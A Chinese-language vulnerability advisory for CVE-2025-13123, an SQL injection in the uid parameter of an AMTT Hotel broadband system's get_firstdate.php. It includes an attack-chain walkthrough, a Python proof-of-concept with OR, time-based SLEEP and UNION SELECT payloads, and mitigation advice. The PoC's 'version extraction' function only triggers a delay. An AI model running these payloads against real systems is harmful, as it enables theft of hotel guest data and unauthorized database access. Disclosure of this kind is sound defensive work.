IPBUF安全漏洞报告
English
CVE-2025-13123 CVSS 6.3 中危

CVE-2025-13123 AMTT Hotel系统get_firstdate.php文件SQL注入漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-13123
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AMTT Hotel Broadband Operation System 1.0

相关标签

SQL注入AMTT Hotel宽带运营系统远程代码执行CVE-2025-13123Web应用安全数据库安全酒店信息系统

漏洞概述

CVE-2025-13123是AMTT Hotel Broadband Operation System 1.0版本中存在的SQL注入漏洞。该漏洞位于/user/portal/get_firstdate.php文件中的uid参数,攻击者可通过构造恶意SQL语句实现对数据库的未授权访问和操作。由于该漏洞具有远程攻击能力且不需要高权限认证,因此存在较高的安全风险。攻击者可能利用此漏洞获取数据库中的敏感信息,包括酒店客户数据、系统配置信息等,甚至可能通过SQL注入进一步实现远程代码执行或横向移动。厂商在收到漏洞报告后未做出任何回应,导致该漏洞处于无修复状态,建议用户采取临时防护措施。

技术细节

该SQL注入漏洞存在于AMTT Hotel宽带运营系统的/user/portal/get_firstdate.php文件中,具体问题出在对uid参数的输入验证不足。攻击者可以通过HTTP请求向该文件发送包含恶意SQL代码的uid参数值,由于应用程序直接将该参数拼接到SQL查询语句中而未进行充分的过滤或使用参数化查询,导致攻击者可以注入任意SQL语句。漏洞的CVSS评分为6.3(中等严重性),攻击向量为网络远程攻击(AV:N),需要低权限用户即可发起攻击(PR:L),无需用户交互(UI:N)。该漏洞会影响数据库的机密性、完整性和可用性,影响程度均为低级别(L)。由于系统用于酒店宽带运营管理,攻击成功可能导致酒店客户信息泄露、计费系统被篡改等严重后果。

攻击链分析

STEP 1
信息收集
攻击者首先识别目标系统为AMTT Hotel Broadband Operation System,并通过扫描发现存在/user/portal/get_firstdate.php端点
STEP 2
漏洞探测
攻击者向get_firstdate.php文件发送测试请求,观察uid参数是否存在SQL注入漏洞,通过构造不同的SQL语句判断注入点
STEP 3
Payload构造
确认漏洞存在后,攻击者构造针对性的SQL注入Payload,如使用UNION SELECT或布尔盲注技术来提取数据库中的敏感信息
STEP 4
数据窃取
利用SQL注入漏洞获取数据库中的敏感信息,包括酒店客户数据、用户账号密码、系统配置信息等
STEP 5
权限提升与横向移动
如果获取到高权限数据库账号,攻击者可能进一步通过数据库系统命令执行实现服务器远程代码执行,甚至横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13123 SQL Injection PoC # Target: AMTT Hotel Broadband Operation System 1.0 # Vulnerable File: /user/portal/get_firstdate.php # Parameter: uid def exploit_sql_injection(target_url, uid_payload): """ Exploit SQL injection vulnerability in AMTT Hotel System Args: target_url: Base URL of the target system uid_payload: Malicious SQL payload for uid parameter """ # Construct the vulnerable endpoint endpoint = f"{target_url}/user/portal/get_firstdate.php" # Prepare the payload with SQL injection params = { 'uid': uid_payload } try: # Send HTTP GET request with malicious payload response = requests.get(endpoint, params=params, timeout=10) # Check if injection was successful if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Payload: {uid_payload}") print(f"[+] Response length: {len(response.text)}") print(f"[+] Response preview: {response.text[:500]}") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_database_version(target_url): """ Extract database version using SQL injection """ # Time-based blind SQL injection payload to extract version version_payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" exploit_sql_injection(target_url, version_payload) def extract_tables(target_url): """ Extract table names from database """ # Union-based SQL injection to extract table names tables_payload = "1' UNION SELECT table_name FROM information_schema.tables WHERE '1'='1" exploit_sql_injection(target_url, tables_payload) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13123.py <target_url>") print("Example: python cve-2025-13123.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2025-13123 SQL Injection Exploitation") print("Target: AMTT Hotel Broadband Operation System 1.0") print("=" * 60) # Test basic SQL injection basic_payload = "1' OR '1'='1" print("\n[*] Testing basic SQL injection...") exploit_sql_injection(target, basic_payload) # Extract database version print("\n[*] Attempting to extract database version...") extract_database_version(target) # Extract table names print("\n[*] Attempting to extract database tables...") extract_tables(target)

影响范围

AMTT Hotel Broadband Operation System 1.0

防御指南

临时缓解措施
由于厂商未回应漏洞报告,建议采取以下临时缓解措施:1)使用Web应用防火墙对/user/portal/get_firstdate.php端点进行访问控制,拦截异常的SQL语句;2)通过网关或反向代理限制对该路径的访问,仅允许授权用户访问;3)临时禁用受影响的get_firstdate.php功能,避免用户通过uid参数进行数据库操作;4)监控数据库访问日志,及时发现和阻止异常的SQL查询行为;5)考虑在应用层实现参数化查询或输入过滤,作为临时补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表